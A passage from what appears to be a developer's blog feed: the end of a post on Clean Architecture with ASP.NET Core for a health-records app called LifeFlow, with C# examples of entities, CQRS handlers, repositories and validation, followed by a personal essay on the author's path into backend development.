<span class="k">public</span> <span class="n">Guid</span> <span class="n">UserId</span> <span class="p">{</span> <span class="k">get</span><span class="p">;</span> <span class="k">private</span> <span class="k">set</span><span class="p">;</span> <span class="p">}</span>
<span class="k">public</span> <span class="n">DateTime</span> <span class="n">Timestamp</span> <span class="p">{</span> <span class="k">get</span><span class="p">;</span> <span class="k">private</span> <span class="k">set</span><span class="p">;</span> <span class="p">}</span>
<span class="k">public</span> <span class="n">BloodPressure</span> <span class="n">BloodPressure</span> <span class="p">{</span> <span class="k">get</span><span class="p">;</span> <span class="k">private</span> <span class="k">set</span><span class="p">;</span> <span class="p">}</span>
<span class="k">public</span> <span class="kt">int</span> <span class="n">HeartRate</span> <span class="p">{</span> <span class="k">get</span><span class="p">;</span> <span class="k">private</span> <span class="k">set</span><span class="p">;</span> <span class="p">}</span>
<span class="c1">// Domain behavior</span>
<span class="k">public</span> <span class="k">void</span> <span class="nf">UpdateVitals</span><span class="p">(</span><span class="n">BloodPressure</span> <span class="n">newBP</span><span class="p">,</span> <span class="kt">int</span> <span class="n">newHeartRate</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">newHeartRate</span> <span class="p"><=</span> <span class="m">0</span><span class="p">)</span>
<span class="k">throw</span> <span class="k">new</span> <span class="nf">DomainException</span><span class="p">(</span><span class="s">"Heart rate must be positive"</span><span class="p">);</span>
<span class="n">BloodPressure</span> <span class="p">=</span> <span class="n">newBP</span><span class="p">;</span>
<span class="n">HeartRate</span> <span class="p">=</span> <span class="n">newHeartRate</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1">// Factory method</span>
<span class="k">public</span> <span class="k">static</span> <span class="n">HealthRecord</span> <span class="nf">Create</span><span class="p">(</span><span class="n">Guid</span> <span class="n">userId</span><span class="p">,</span> <span class="n">BloodPressure</span> <span class="n">bp</span><span class="p">,</span> <span class="kt">int</span> <span class="n">heartRate</span><span class="p">)</span>
<span class="p">{</span>
<span class="c1">// Validate and create</span>
<span class="k">return</span> <span class="k">new</span> <span class="n">HealthRecord</span>
<span class="p">{</span>
<span class="n">Id</span> <span class="p">=</span> <span class="n">Guid</span><span class="p">.</span><span class="nf">NewGuid</span><span class="p">(),</span>
<span class="n">UserId</span> <span class="p">=</span> <span class="n">userId</span><span class="p">,</span>
<span class="n">Timestamp</span> <span class="p">=</span> <span class="n">DateTime</span><span class="p">.</span><span class="n">UtcNow</span><span class="p">,</span>
<span class="n">BloodPressure</span> <span class="p">=</span> <span class="n">bp</span><span class="p">,</span>
<span class="n">HeartRate</span> <span class="p">=</span> <span class="n">heartRate</span>
<span class="p">};</span>
<span class="p">}</span>
<span class="p">}</span></code></pre></figure>
<p>Notice that domain entities:</p>
<ul>
<li>Encapsulate state with private setters</li>
<li>Validate their invariants</li>
<li>Don’t depend on any infrastructure concerns</li>
</ul>
<h3 id="application-layer">Application Layer</h3>
<p>The application layer defines use cases using the CQRS pattern with MediatR:</p>
<figure class="highlight"><pre><code class="language-csharp" data-lang="csharp"><span class="c1">// Query</span>
<span class="k">public</span> <span class="k">class</span> <span class="nc">GetUserHealthRecordsQuery</span> <span class="p">:</span> <span class="n">IRequest</span><span class="p"><</span><span class="n">List</span><span class="p"><</span><span class="n">HealthRecordDto</span><span class="p">>></span>
<span class="p">{</span>
<span class="k">public</span> <span class="n">Guid</span> <span class="n">UserId</span> <span class="p">{</span> <span class="k">get</span><span class="p">;</span> <span class="k">set</span><span class="p">;</span> <span class="p">}</span>
<span class="p">}</span>
<span class="c1">// Query Handler</span>
<span class="k">public</span> <span class="k">class</span> <span class="nc">GetUserHealthRecordsHandler</span>
<span class="p">:</span> <span class="n">IRequestHandler</span><span class="p"><</span><span class="n">GetUserHealthRecordsQuery</span><span class="p">,</span> <span class="n">List</span><span class="p"><</span><span class="n">HealthRecordDto</span><span class="p">>></span>
<span class="p">{</span>
<span class="k">private</span> <span class="k">readonly</span> <span class="n">IHealthRecordRepository</span> <span class="n">_repository</span><span class="p">;</span>
<span class="k">private</span> <span class="k">readonly</span> <span class="n">IMapper</span> <span class="n">_mapper</span><span class="p">;</span>
<span class="k">public</span> <span class="nf">GetUserHealthRecordsHandler</span><span class="p">(</span>
<span class="n">IHealthRecordRepository</span> <span class="n">repository</span><span class="p">,</span>
<span class="n">IMapper</span> <span class="n">mapper</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">_repository</span> <span class="p">=</span> <span class="n">repository</span><span class="p">;</span>
<span class="n">_mapper</span> <span class="p">=</span> <span class="n">mapper</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">async</span> <span class="n">Task</span><span class="p"><</span><span class="n">List</span><span class="p"><</span><span class="n">HealthRecordDto</span><span class="p">>></span> <span class="nf">Handle</span><span class="p">(</span>
<span class="n">GetUserHealthRecordsQuery</span> <span class="n">request</span><span class="p">,</span>
<span class="n">CancellationToken</span> <span class="n">cancellationToken</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">var</span> <span class="n">records</span> <span class="p">=</span> <span class="k">await</span> <span class="n">_repository</span><span class="p">.</span><span class="nf">GetByUserIdAsync</span><span class="p">(</span>
<span class="n">request</span><span class="p">.</span><span class="n">UserId</span><span class="p">,</span> <span class="n">cancellationToken</span><span class="p">);</span>
<span class="k">return</span> <span class="n">_mapper</span><span class="p">.</span><span class="n">Map</span><span class="p"><</span><span class="n">List</span><span class="p"><</span><span class="n">HealthRecordDto</span><span class="p">>>(</span><span class="n">records</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span></code></pre></figure>
<p>For LifeFlow, this CQRS approach:</p>
<ul>
<li>Separates read and write operations</li>
<li>Makes queries more efficient (read models)</li>
<li>Improves scalability (separate read/write services)</li>
</ul>
<h3 id="infrastructure-layer">Infrastructure Layer</h3>
<p>The infrastructure layer implements the interfaces defined in the application layer:</p>
<figure class="highlight"><pre><code class="language-csharp" data-lang="csharp"><span class="k">public</span> <span class="k">class</span> <span class="nc">EntityFrameworkHealthRecordRepository</span> <span class="p">:</span> <span class="n">IHealthRecordRepository</span>
<span class="p">{</span>
<span class="k">private</span> <span class="k">readonly</span> <span class="n">AppDbContext</span> <span class="n">_context</span><span class="p">;</span>
<span class="k">public</span> <span class="nf">EntityFrameworkHealthRecordRepository</span><span class="p">(</span><span class="n">AppDbContext</span> <span class="n">context</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">_context</span> <span class="p">=</span> <span class="n">context</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">async</span> <span class="n">Task</span><span class="p"><</span><span class="n">List</span><span class="p"><</span><span class="n">HealthRecord</span><span class="p">>></span> <span class="nf">GetByUserIdAsync</span><span class="p">(</span>
<span class="n">Guid</span> <span class="n">userId</span><span class="p">,</span>
<span class="n">CancellationToken</span> <span class="n">cancellationToken</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">return</span> <span class="k">await</span> <span class="n">_context</span><span class="p">.</span><span class="n">HealthRecords</span>
<span class="p">.</span><span class="nf">Where</span><span class="p">(</span><span class="n">hr</span> <span class="p">=></span> <span class="n">hr</span><span class="p">.</span><span class="n">UserId</span> <span class="p">==</span> <span class="n">userId</span><span class="p">)</span>
<span class="p">.</span><span class="nf">OrderByDescending</span><span class="p">(</span><span class="n">hr</span> <span class="p">=></span> <span class="n">hr</span><span class="p">.</span><span class="n">Timestamp</span><span class="p">)</span>
<span class="p">.</span><span class="nf">ToListAsync</span><span class="p">(</span><span class="n">cancellationToken</span><span class="p">);</span>
<span class="p">}</span>
<span class="c1">// Other repository methods...</span>
<span class="p">}</span></code></pre></figure>
<h3 id="api-layer">API Layer</h3>
<p>Finally, the API layer is kept thin and focused on HTTP concerns:</p>
<figure class="highlight"><pre><code class="language-csharp" data-lang="csharp"><span class="p">[</span><span class="n">ApiController</span><span class="p">]</span>
<span class="p">[</span><span class="nf">Route</span><span class="p">(</span><span class="s">"api/[controller]"</span><span class="p">)]</span>
<span class="k">public</span> <span class="k">class</span> <span class="nc">HealthRecordsController</span> <span class="p">:</span> <span class="n">ControllerBase</span>
<span class="p">{</span>
<span class="k">private</span> <span class="k">readonly</span> <span class="n">IMediator</span> <span class="n">_mediator</span><span class="p">;</span>
<span class="k">public</span> <span class="nf">HealthRecordsController</span><span class="p">(</span><span class="n">IMediator</span> <span class="n">mediator</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">_mediator</span> <span class="p">=</span> <span class="n">mediator</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">[</span><span class="nf">HttpGet</span><span class="p">(</span><span class="s">"user/{userId}"</span><span class="p">)]</span>
<span class="p">[</span><span class="n">Authorize</span><span class="p">]</span>
<span class="k">public</span> <span class="k">async</span> <span class="n">Task</span><span class="p"><</span><span class="n">ActionResult</span><span class="p"><</span><span class="n">List</span><span class="p"><</span><span class="n">HealthRecordDto</span><span class="p">>>></span> <span class="nf">GetUserRecords</span><span class="p">(</span>
<span class="n">Guid</span> <span class="n">userId</span><span class="p">)</span>
<span class="p">{</span>
<span class="c1">// Authorization check</span>
<span class="k">if</span> <span class="p">(</span><span class="n">User</span><span class="p">.</span><span class="nf">GetUserId</span><span class="p">()</span> <span class="p">!=</span> <span class="n">userId</span><span class="p">.</span><span class="nf">ToString</span><span class="p">()</span> <span class="p">&&</span>
<span class="p">!</span><span class="n">User</span><span class="p">.</span><span class="nf">IsInRole</span><span class="p">(</span><span class="s">"Admin"</span><span class="p">))</span>
<span class="p">{</span>
<span class="k">return</span> <span class="nf">Forbid</span><span class="p">();</span>
<span class="p">}</span>
<span class="kt">var</span> <span class="n">query</span> <span class="p">=</span> <span class="k">new</span> <span class="n">GetUserHealthRecordsQuery</span> <span class="p">{</span> <span class="n">UserId</span> <span class="p">=</span> <span class="n">userId</span> <span class="p">};</span>
<span class="kt">var</span> <span class="n">result</span> <span class="p">=</span> <span class="k">await</span> <span class="n">_mediator</span><span class="p">.</span><span class="nf">Send</span><span class="p">(</span><span class="n">query</span><span class="p">);</span>
<span class="k">return</span> <span class="nf">Ok</span><span class="p">(</span><span class="n">result</span><span class="p">);</span>
<span class="p">}</span>
<span class="c1">// Other endpoints...</span>
<span class="p">}</span></code></pre></figure>
<h2 id="key-technical-decisions">Key Technical Decisions</h2>
<ol>
<li><strong>MediatR</strong>: For implementing CQRS pattern to separate queries from commands</li>
<li><strong>FluentValidation</strong>: For request validation before hitting handlers</li>
<li><strong>AutoMapper</strong>: For mapping between domain entities and DTOs</li>
<li><strong>Entity Framework Core</strong>: With repository pattern for data access</li>
<li><strong>Custom Middleware</strong>: For consistent exception handling and response formatting</li>
</ol>
<h2 id="cross-cutting-concerns">Cross-Cutting Concerns</h2>
<h3 id="request-validation-pipeline">Request Validation Pipeline</h3>
<p>For LifeFlow, I implemented a validation pipeline using MediatR behaviors:</p>
<figure class="highlight"><pre><code class="language-csharp" data-lang="csharp"><span class="k">public</span> <span class="k">class</span> <span class="nc">ValidationBehavior</span><span class="p"><</span><span class="n">TRequest</span><span class="p">,</span> <span class="n">TResponse</span><span class="p">></span>
<span class="p">:</span> <span class="n">IPipelineBehavior</span><span class="p"><</span><span class="n">TRequest</span><span class="p">,</span> <span class="n">TResponse</span><span class="p">></span>
<span class="p">{</span>
<span class="k">private</span> <span class="k">readonly</span> <span class="n">IEnumerable</span><span class="p"><</span><span class="n">IValidator</span><span class="p"><</span><span class="n">TRequest</span><span class="p">>></span> <span class="n">_validators</span><span class="p">;</span>
<span class="k">public</span> <span class="nf">ValidationBehavior</span><span class="p">(</span><span class="n">IEnumerable</span><span class="p"><</span><span class="n">IValidator</span><span class="p"><</span><span class="n">TRequest</span><span class="p">>></span> <span class="n">validators</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">_validators</span> <span class="p">=</span> <span class="n">validators</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">public</span> <span class="k">async</span> <span class="n">Task</span><span class="p"><</span><span class="n">TResponse</span><span class="p">></span> <span class="nf">Handle</span><span class="p">(</span>
<span class="n">TRequest</span> <span class="n">request</span><span class="p">,</span>
<span class="n">RequestHandlerDelegate</span><span class="p"><</span><span class="n">TResponse</span><span class="p">></span> <span class="n">next</span><span class="p">,</span>
<span class="n">CancellationToken</span> <span class="n">cancellationToken</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">_validators</span><span class="p">.</span><span class="nf">Any</span><span class="p">())</span>
<span class="p">{</span>
<span class="kt">var</span> <span class="n">context</span> <span class="p">=</span> <span class="k">new</span> <span class="n">ValidationContext</span><span class="p"><</span><span class="n">TRequest</span><span class="p">>(</span><span class="n">request</span><span class="p">);</span>
<span class="kt">var</span> <span class="n">validationResults</span> <span class="p">=</span> <span class="k">await</span> <span class="n">Task</span><span class="p">.</span><span class="nf">WhenAll</span><span class="p">(</span>
<span class="n">_validators</span><span class="p">.</span><span class="nf">Select</span><span class="p">(</span><span class="n">v</span> <span class="p">=></span>
<span class="n">v</span><span class="p">.</span><span class="nf">ValidateAsync</span><span class="p">(</span><span class="n">context</span><span class="p">,</span> <span class="n">cancellationToken</span><span class="p">)));</span>
<span class="kt">var</span> <span class="n">failures</span> <span class="p">=</span> <span class="n">validationResults</span>
<span class="p">.</span><span class="nf">SelectMany</span><span class="p">(</span><span class="n">r</span> <span class="p">=></span> <span class="n">r</span><span class="p">.</span><span class="n">Errors</span><span class="p">)</span>
<span class="p">.</span><span class="nf">Where</span><span class="p">(</span><span class="n">f</span> <span class="p">=></span> <span class="n">f</span> <span class="p">!=</span> <span class="k">null</span><span class="p">)</span>
<span class="p">.</span><span class="nf">ToList</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="n">failures</span><span class="p">.</span><span class="n">Count</span> <span class="p">!=</span> <span class="m">0</span><span class="p">)</span>
<span class="k">throw</span> <span class="k">new</span> <span class="nf">ValidationException</span><span class="p">(</span><span class="n">failures</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="k">await</span> <span class="nf">next</span><span class="p">();</span>
<span class="p">}</span>
<span class="p">}</span></code></pre></figure>
<h3 id="performance-monitoring">Performance Monitoring</h3>
<p>To monitor API performance, I integrated Application Insights:</p>
<figure class="highlight"><pre><code class="language-csharp" data-lang="csharp"><span class="k">public</span> <span class="k">void</span> <span class="nf">ConfigureServices</span><span class="p">(</span><span class="n">IServiceCollection</span> <span class="n">services</span><span class="p">)</span>
<span class="p">{</span>
<span class="c1">// Add Application Insights telemetry</span>
<span class="n">services</span><span class="p">.</span><span class="nf">AddApplicationInsightsTelemetry</span><span class="p">();</span>
<span class="c1">// Configure adaptive sampling</span>
<span class="n">services</span><span class="p">.</span><span class="n">ConfigureTelemetryModule</span><span class="p"><</span><span class="n">DependencyTrackingTelemetryModule</span><span class="p">>(</span>
<span class="p">(</span><span class="n">module</span><span class="p">,</span> <span class="n">o</span><span class="p">)</span> <span class="p">=></span> <span class="p">{</span> <span class="n">module</span><span class="p">.</span><span class="n">EnableSqlCommandTextInstrumentation</span> <span class="p">=</span> <span class="k">true</span><span class="p">;</span> <span class="p">});</span>
<span class="c1">// Rest of configuration...</span>
<span class="p">}</span></code></pre></figure>
<h2 id="lessons-learned">Lessons Learned</h2>
<p>After implementing this architecture in the LifeFlow project, I’ve learned:</p>
<ol>
<li><strong>Start simple</strong>: Don’t over-engineer early; add complexity as needed</li>
<li><strong>Test business logic first</strong>: Focus tests on domain and application layers</li>
<li><strong>Use vertical slices</strong>: Organize by feature, not by layer, for better developer experience</li>
<li><strong>Embrace domain events</strong>: For decoupling services and implementing eventual consistency</li>
<li><strong>Consider read models</strong>: Separate read models can greatly improve query performance</li>
</ol>
<h2 id="conclusion">Conclusion</h2>
<p>Clean Architecture with ASP.NET Core has provided a solid foundation for the LifeFlow project. The clear separation of concerns allows the system to evolve with changing requirements while maintaining quality and testability.</p>
<p>In future posts, I’ll dive deeper into specific aspects like domain events, CQRS optimizations, and performance tuning for ASP.NET Core APIs.</p>
<p>What’s your experience with Clean Architecture in .NET projects? Share your thoughts in the comments.</p>
My Journey into Backend Development
2024-03-01T00:00:00+00:00
https://sugan.dev/2024/03/01/journey-into-backend-development
<p>When I began my computing journey in 2016 at the age of 14, installing Ubuntu Unity on my first computer, I never imagined how deep I would venture into the world of software development. Today, as a backend engineer focused on building resilient, scalable systems, I’d like to share some reflections on my path.</p>
<h2 id="the-linux-beginning">The Linux Beginning</h2>
<p>My first experience with Linux was transformative. The ability to peek under the hood of an operating system, to modify and truly own my computing experience, sparked a curiosity that would shape my career path. I spent countless hours in terminal sessions, breaking and fixing my system, each cycle teaching me something new.</p>
<p>From those early days tinkering with bash scripts and system configurations, I developed an appreciation for robust, well-designed systems—a perspective that would later influence my approach to backend development.</p>
<h2 id="finding-my-focus">Finding My Focus</h2>
<p>As I explored different areas of software development, I found myself consistently drawn to the backend—the intricate systems that power applications but remain invisible to most users. There’s something deeply satisfying about designing efficient data flows, optimizing database queries, and building APIs that enable seamless experiences.</p>
<p>My academic journey formalized this interest, but the most valuable learning came from hands-on projects and internships. Working with real-world constraints—performance requirements, security considerations, scalability challenges—reinforced my passion for backend engineering.</p>
<h2 id="the-tools-that-shaped-me">The Tools That Shaped Me</h2>
<p>Over the years, I’ve worked with various languages and frameworks, each teaching me different lessons about software design:</p>
<ul>
<li><strong>C# and .NET</strong>: Showed me the power of a comprehensive, well-designed ecosystem</li>
<li><strong>Java</strong>: Taught me object-oriented principles and enterprise patterns</li>
<li><strong>Python</strong>: Demonstrated the value of readability and rapid prototyping</li>
<li><strong>Go</strong>: Introduced me to concurrency models and simplicity in design</li>
<li><strong>F#</strong>: Currently opening my mind to functional programming paradigms</li>
</ul>
<p>Beyond languages, my experience with cloud platforms and infrastructure tools has been equally formative. Learning to leverage AWS services, containerization with Docker, and infrastructure as code with Terraform has expanded my definition of what backend development encompasses.</p>
<h2 id="looking-forward">Looking Forward</h2>
<p>As I continue to grow as a developer, I’m particularly excited about:</p>
<ul>
<li>Deepening my expertise in distributed systems design</li>
<li>Exploring functional programming concepts for more robust applications</li>
<li>Contributing to open-source projects that shape the future of backend development</li>
<li>Mentoring the next generation of developers starting their own journeys</li>
</ul>
<p>The backend landscape is constantly evolving, with new challenges and possibilities emerging regularly. This perpetual learning cycle—this need to constantly adapt and grow—is perhaps what I find most rewarding about the field.</p>
<p>I’ll be sharing more specific technical insights in future posts, focusing on practical solutions to real-world backend challenges. Until then, I’d love to hear about your own development journey in the comments.</p>